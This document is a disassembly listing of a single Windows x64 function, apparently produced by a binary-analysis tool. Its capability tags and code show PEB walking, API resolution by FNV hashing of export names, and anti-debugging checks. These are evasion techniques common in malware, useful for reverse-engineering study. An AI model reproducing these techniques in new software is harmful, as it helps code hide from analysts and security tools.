Function at 0x14001b240
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Encode data using xor
Get kernel32 base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x18], rdi
push r14
sub rsp, 0x120
mov rax, qword [0x1401310c0]
xor rax, rsp
mov qword [rsp + 0x118], rax
xor r14d, r14d
mov qword [r11 - 0x20], r14
mov dword [r11 - 0x14], r14d
mov word [r11 - 0x18], r14w
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx]
mov r10, qword [rax + 0x30]
mov rax, qword [0x1401349d8]
test rax, rax
jne 0x14001b345
mov qword [rsp + 0x78], r10
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov qword [rsp + 0x68], rcx
mov ebx, ecx
add rbx, r10
mov qword [rsp + 0x80], rbx
shr rcx, 0x20
mov dword [rsp + 0x88], ecx
mov r9d, r14d
mov dword [rsp + 0x44], r14d
nop dword [rax + rax]
mov edi, r9d
mov ecx, dword [rbx + 0x20]
add rcx, r10
mov edx, dword [rcx + rdi*4]
add rdx, r10
mov qword [rsp + 0xa8], rdx
mov r11d, 0x67b9ba64
nop dword [rax]
movsx r8d, byte [rdx]
inc rdx
mov qword [rsp + 0xa8], rdx
test r8b, r8b
jne 0x14001b6ea
cmp r11d, 0x78e6d1aa
jne 0x14001b6dd
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + rdi*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
mov qword [0x1401349d8], rcx
mov rax, rcx
lea rcx, [0x140103d40]
call rax
nop
mov byte [rsp + 0x111], 1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx]
mov r10, qword [rax + 0x30]
mov rax, qword [0x140134a18]
test rax, rax
jne 0x14001b425
mov qword [rsp + 0x78], r10
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov qword [rsp + 0x68], rcx
mov ebx, ecx
add rbx, r10
mov qword [rsp + 0x80], rbx
shr rcx, 0x20
mov dword [rsp + 0x88], ecx
mov r9d, r14d
mov dword [rsp + 0x48], r14d
nop word [rax + rax]
mov edi, r9d
mov ecx, dword [rbx + 0x20]
add rcx, r10
mov edx, dword [rcx + rdi*4]
add rdx, r10
mov qword [rsp + 0xb0], rdx
mov r11d, 0xf513e8c6
nop dword [rax]
movsx r8d, byte [rdx]
inc rdx
mov qword [rsp + 0xb0], rdx
test r8b, r8b
jne 0x14001b719
cmp r11d, 0x5a2d943a
jne 0x14001b70c
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + rdi*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
mov qword [0x140134a18], rcx
mov rax, rcx
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
lea r9, [rsp + 0x108]
mov rdx, 0xffffffffffffffff
mov rcx, rdx
mov r8, rdx
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx]
mov r10, qword [rax + 0x30]
mov rax, qword [0x140134a88]
test rax, rax
jne 0x14001b515
mov qword [rsp + 0xf0], r10
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov qword [rsp + 0xe8], rcx
mov ebx, ecx
add rbx, r10
mov qword [rsp + 0xf8], rbx
shr rcx, 0x20
mov dword [rsp + 0x100], ecx
mov r9d, r14d
mov dword [rsp + 0x4c], r14d
nop
mov edi, r9d
mov ecx, dword [rbx + 0x20]
add rcx, r10
mov edx, dword [rcx + rdi*4]
add rdx, r10
mov qword [rsp + 0xb8], rdx
mov r11d, 0x9043f5ca
nop dword [rax]
movsx r8d, byte [rdx]
inc rdx
mov qword [rsp + 0xb8], rdx
test r8b, r8b
jne 0x14001b748
cmp r11d, 0x786d5635
jne 0x14001b73b
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + rdi*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
mov qword [0x140134a88], rcx
mov rax, rcx
mov r9d, 2
lea r8, [rsp + 0x110]
lea edx, [r9 + 2]
mov rcx, qword [rsp + 0x108]
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx]
mov r10, qword [rax + 0x30]
mov rax, qword [0x140134ae8]
test rax, rax
jne 0x14001b605
mov qword [rsp + 0x90], r10
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov qword [rsp + 0x70], rcx
mov ebx, ecx
add rbx, r10
mov qword [rsp + 0x98], rbx
shr rcx, 0x20
mov dword [rsp + 0xa0], ecx
mov r8d, r14d
mov dword [rsp + 0x50], r14d
nop dword [rax]
nop word [rax + rax]
mov edi, r8d
mov ecx, dword [rbx + 0x20]
add rcx, r10
mov edx, dword [rcx + rdi*4]
add rdx, r10
mov qword [rsp + 0xc0], rdx
mov r11d, 0x209b5e1b
nop dword [rax]
movsx r9d, byte [rdx]
inc rdx
mov qword [rsp + 0xc0], rdx
test r9b, r9b
jne 0x14001b777
cmp r11d, 0xbc9bf529
jne 0x14001b76a
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + rdi*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
mov qword [0x140134ae8], rcx
mov rax, rcx
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
lea r9, [rsp + 0x108]
mov r8, 0xffffffffffffffff
mov rdx, qword [rsp + 0x108]
mov rcx, r8
call rax
nop
mov byte [rsp + 0x111], 0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov r11, qword [rcx + 0x30]
mov rax, qword [0x1401349e0]
test rax, rax
jne 0x14001b7ba
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
mov r10d, r14d
mov esi, dword [rdi + r11 + 0x20]
nop dword [rax + rax]
mov ebx, r10d
lea rax, [r11 + rbx*4]
mov edx, dword [rax + rsi]
add rdx, r11
mov r9d, 0x10426e5b
movzx r8d, byte [rdx]
inc rdx
test r8b, r8b
je 0x14001b6cb
nop
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx r8d, byte [rdx]
lea rdx, [rdx + 1]
test r8b, r8b
jne 0x14001b6a0
cmp r9d, 0xe8a81290
je 0x14001b799
inc r10d
jmp 0x14001b680
inc r9d
mov dword [rsp + 0x44], r9d
jmp 0x14001b2e0
mov eax, r8d
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, r11d
imul r11d, ecx, 0x1000193
jmp 0x14001b300
inc r9d
mov dword [rsp + 0x48], r9d
jmp 0x14001b3c0
mov eax, r8d
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, r11d
imul r11d, ecx, 0x1000193
jmp 0x14001b3e0
inc r9d
mov dword [rsp + 0x4c], r9d
jmp 0x14001b4b0
mov eax, r8d
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, r11d
imul r11d, ecx, 0x1000193
jmp 0x14001b4d0
inc r8d
mov dword [rsp + 0x50], r8d
jmp 0x14001b5a0
mov eax, r9d
sub r9b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r9b, 0x19
cmova ecx, eax
xor ecx, r11d
imul r11d, ecx, 0x1000193
jmp 0x14001b5c0
mov ecx, dword [rdi + r11 + 0x1c]
add rcx, r11
mov eax, dword [rdi + r11 + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov eax, dword [rcx + rax*4]
add rax, r11
mov qword [0x1401349e0], rax
mov r9d, 2
lea r8, [rsp + 0x110]
lea edx, [r9 + 2]
mov rcx, qword [rsp + 0x108]
call rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov r11, qword [rcx + 0x30]
mov rax, qword [0x1401349a0]
test rax, rax
jne 0x14001b88b
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
mov r10d, r14d
mov esi, dword [rdi + r11 + 0x20]
mov ebx, r10d
lea rax, [r11 + rbx*4]
mov edx, dword [rax + rsi]
add rdx, r11
mov r9d, 0x77a81385
movzx r8d, byte [rdx]
inc rdx
test r8b, r8b
je 0x14001b85c
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx r8d, byte [rdx]
lea rdx, [rdx + 1]
test r8b, r8b
jne 0x14001b831
cmp r9d, 0x73703bc5
je 0x14001b86a
inc r10d
jmp 0x14001b812
mov ecx, dword [rdi + r11 + 0x1c]
add rcx, r11
mov eax, dword [rdi + r11 + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov eax, dword [rcx + rax*4]
add rax, r11
mov qword [0x1401349a0], rax
mov rcx, qword [rsp + 0x108]
call rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov r11, qword [rcx + 0x30]
mov rax, qword [0x140134a68]
test rax, rax
jne 0x14001b94a
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
mov r10d, r14d
mov esi, dword [rdi + r11 + 0x20]
mov ebx, r10d
lea rax, [r11 + rbx*4]
mov edx, dword [rax + rsi]
add rdx, r11
mov r9d, 0x71227fb8
movzx r8d, byte [rdx]
inc rdx
test r8b, r8b
je 0x14001b91b
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx r8d, byte [rdx]
lea rdx, [rdx + 1]
test r8b, r8b
jne 0x14001b8f0
cmp r9d, 0x75908a39
je 0x14001b929
inc r10d
jmp 0x14001b8d1
mov ecx, dword [rdi + r11 + 0x1c]
add rcx, r11
mov eax, dword [rdi + r11 + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov eax, dword [rcx + rax*4]
add rax, r11
mov qword [0x140134a68], rax
mov r9d, 4
lea r8, [rsp + 0x114]
lea edx, [r9 + 0x1c]
mov rcx, 0xffffffffffffffff
call rax
test eax, eax
jns 0x14001b970
xor al, al
jmp 0x14001c05a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx]
mov r10, qword [rax + 0x30]
mov rax, qword [0x140134a38]
test rax, rax
jne 0x14001ba58
mov qword [rsp + 0x90], r10
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov qword [rsp + 0x70], rcx
mov ebx, ecx
add rbx, r10
mov qword [rsp + 0x98], rbx
shr rcx, 0x20
mov dword [rsp + 0xa0], ecx
mov r8d, r14d
mov dword [rsp + 0x54], r14d
mov edi, r8d
mov ecx, dword [rbx + 0x20]
add rcx, r10
mov edx, dword [rcx + rdi*4]
add rdx, r10
mov qword [rsp + 0xc8], rdx
mov r11d, 0x7642ace7
nop
movsx r9d, byte [rdx]
inc rdx
mov qword [rsp + 0xc8], rdx
test r9b, r9b
jne 0x14001ba39
cmp r11d, 0xad7ead5b
jne 0x14001ba2f
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + rdi*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
mov qword [0x140134a38], rcx
mov rax, rcx
jmp 0x14001ba58
inc r8d
mov dword [rsp + 0x54], r8d
jmp 0x14001b9d1
mov eax, r9d
sub r9b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r9b, 0x19
cmova ecx, eax
xor ecx, r11d
imul r11d, ecx, 0x1000193
jmp 0x14001b9f0
lea rcx, str.badcode
call rax
jmp 0x14001ba66
mov byte [rsp + 0x111], 1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx]
mov r10, qword [rax + 0x30]
mov rax, qword [0x140134ab0]
test rax, rax
jne 0x14001bb35
mov qword [rsp + 0x90], r10
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov qword [rsp + 0x70], rcx
mov ebx, ecx
add rbx, r10
mov qword [rsp + 0x98], rbx
shr rcx, 0x20
mov dword [rsp + 0xa0], ecx
mov r8d, r14d
mov dword [rsp + 0x58], r14d
nop
mov edi, r8d
mov ecx, dword [rbx + 0x20]
add rcx, r10
mov edx, dword [rcx + rdi*4]
add rdx, r10
mov qword [rsp + 0xd0], rdx
mov r11d, 0x4789c256
nop dword [rax]
movsx r9d, byte [rdx]
inc rdx
mov qword [rsp + 0xd0], rdx
test r9b, r9b
jne 0x14001bd17
cmp r11d, 0xe8a8d0ca
jne 0x14001bd0a
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + rdi*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
mov qword [0x140134ab0], rcx
mov rax, rcx
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
lea r9, [rsp + 0x108]
mov rdx, 0xffffffffffffffff
mov rcx, rdx
mov r8, rdx
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx]
mov r10, qword [rax + 0x30]
mov rax, qword [0x140134a00]
test rax, rax
jne 0x14001bc25
mov qword [rsp + 0xf0], r10
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov qword [rsp + 0xe8], rcx
mov ebx, ecx
add rbx, r10
mov qword [rsp + 0xf8], rbx
shr rcx, 0x20
mov dword [rsp + 0x100], ecx
mov r8d, r14d
mov dword [rsp + 0x5c], r14d
nop
mov edi, r8d
mov ecx, dword [rbx + 0x20]
add rcx, r10
mov edx, dword [rcx + rdi*4]
add rdx, r10
mov qword [rsp + 0xd8], rdx
mov r11d, 0xd86c4ce
nop dword [rax]
movsx r9d, byte [rdx]
inc rdx
mov qword [rsp + 0xd8], rdx
test r9b, r9b
jne 0x14001bd46
cmp r11d, 0x56a99c99
jne 0x14001bd39
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + rdi*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
mov qword [0x140134a00], rcx
mov rax, rcx
mov r9d, 2
lea r8, [rsp + 0x110]
lea edx, [r9 + 2]
mov rcx, qword [rsp + 0x108]
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx]
mov r10, qword [rax + 0x30]
mov rax, qword [0x140134aa8]
test rax, rax
jne 0x14001bd97
mov qword [rsp + 0x78], r10
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov qword [rsp + 0x68], rcx
mov ebx, ecx
add rbx, r10
mov qword [rsp + 0x80], rbx
shr rcx, 0x20
mov dword [rsp + 0x88], ecx
mov r8d, r14d
mov dword [rsp + 0x60], r14d
nop
mov edi, r8d
mov ecx, dword [rbx + 0x20]
add rcx, r10
mov edx, dword [rcx + rdi*4]
add rdx, r10
mov qword [rsp + 0xe0], rdx
mov r11d, 0xfc5180da
nop dword [rax]
movsx r9d, byte [rdx]
inc rdx
mov qword [rsp + 0xe0], rdx
test r9b, r9b
jne 0x14001bd75
cmp r11d, 0x79b19f46
jne 0x14001bd68
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + rdi*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
mov qword [0x140134aa8], rcx
mov rax, rcx
jmp 0x14001bd97
inc r8d
mov dword [rsp + 0x58], r8d
jmp 0x14001bad0
mov eax, r9d
sub r9b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r9b, 0x19
cmova ecx, eax
xor ecx, r11d
imul r11d, ecx, 0x1000193
jmp 0x14001baf0
inc r8d
mov dword [rsp + 0x5c], r8d
jmp 0x14001bbc0
mov eax, r9d
sub r9b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r9b, 0x19
cmova ecx, eax
xor ecx, r11d
imul r11d, ecx, 0x1000193
jmp 0x14001bbe0
inc r8d
mov dword [rsp + 0x60], r8d
jmp 0x14001bca0
mov eax, r9d
sub r9b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r9b, 0x19
cmova ecx, eax
xor ecx, r11d
imul r11d, ecx, 0x1000193
jmp 0x14001bcc0
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
lea r9, [rsp + 0x108]
mov r8, 0xffffffffffffffff
mov rdx, qword [rsp + 0x108]
mov rcx, r8
call rax
mov byte [rsp + 0x40], 1
jmp 0x14001bdd4
mov byte [rsp + 0x111], 0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov r11, qword [rcx + 0x30]
mov rax, qword [0x1401349d0]
test rax, rax
jne 0x14001be9c
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
mov r10d, r14d
mov esi, dword [rdi + r11 + 0x20]
nop dword [rax + rax]
mov ebx, r10d
lea rax, [rsi + rbx*4]
mov edx, dword [rax + r11]
add rdx, r11
mov r9d, 0x58325134
movzx r8d, byte [rdx]
inc rdx
test r8b, r8b
je 0x14001be6b
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx r8d, byte [rdx]
lea rdx, [rdx + 1]
test r8b, r8b
jne 0x14001be40
cmp r9d, 0x2eaafe4f
je 0x14001be79
inc r10d
jmp 0x14001be20
mov ecx, dword [rdi + r11 + 0x24]
add rcx, r11
movzx r8d, word [rcx + rbx*2]
mov ecx, dword [rdi + r11 + 0x1c]
add rcx, r11
mov eax, dword [rcx + r8*4]
add rax, r11
mov qword [0x1401349d0], rax
mov r9d, 2
lea r8, [rsp + 0x110]
lea edx, [r9 + 2]
mov rcx, qword [rsp + 0x108]
call rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov r11, qword [rcx + 0x30]
mov rax, qword [0x140134b30]
test rax, rax
jne 0x14001bf76
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
mov r10d, r14d
mov esi, dword [rdi + r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
mov ebx, r10d
lea rax, [rsi + rbx*4]
mov r8d, dword [rax + r11]
add r8, r11
mov r9d, 0x3dbfcc28
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x14001bf47
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x14001bf20
cmp r9d, 0x1a07f86e
je 0x14001bf55
inc r10d
jmp 0x14001bf00
mov ecx, dword [rdi + r11 + 0x24]
add rcx, r11
movzx edx, word [rcx + rbx*2]
mov ecx, dword [rdi + r11 + 0x1c]
add rcx, r11
mov eax, dword [rcx + rdx*4]
add rax, r11
mov qword [0x140134b30], rax
mov rcx, qword [rsp + 0x108]
call rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov r10, qword [rcx + 0x30]
mov rax, qword [0x140134b10]
test rax, rax
jne 0x14001c038
movsxd rax, dword [r10 + 0x3c]
mov ebx, dword [rax + r10 + 0x88]
mov edi, dword [rbx + r10 + 0x20]
nop dword [rax]
mov r11d, r14d
lea rax, [r10 + r11*4]
mov r8d, dword [rax + rdi]
add r8, r10
mov r9d, 0xaad96417
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x14001c007
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x14001bfe0
cmp r9d, 0x474b3e9c
je 0x14001c015
inc r14d
jmp 0x14001bfc0
mov r8d, dword [rbx + r10 + 0x24]
add r8, r10
movzx r9d, word [r8 + r11*2]
mov r8d, dword [rbx + r10 + 0x1c]
add r8, r10
mov eax, dword [r8 + r9*4]
add rax, r10
mov qword [0x140134b10], rax
xor r9d, r9d
lea r8, [rsp + 0x114]
lea edx, [r9 + 0x20]
lea rcx, [r9 - 1]
call rax
movzx eax, byte [rsp + 0x40]
jmp 0x14001c05a
mov rcx, qword [rsp + 0x118]
xor rcx, rsp
call fcn.1400ab310
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop r14
ret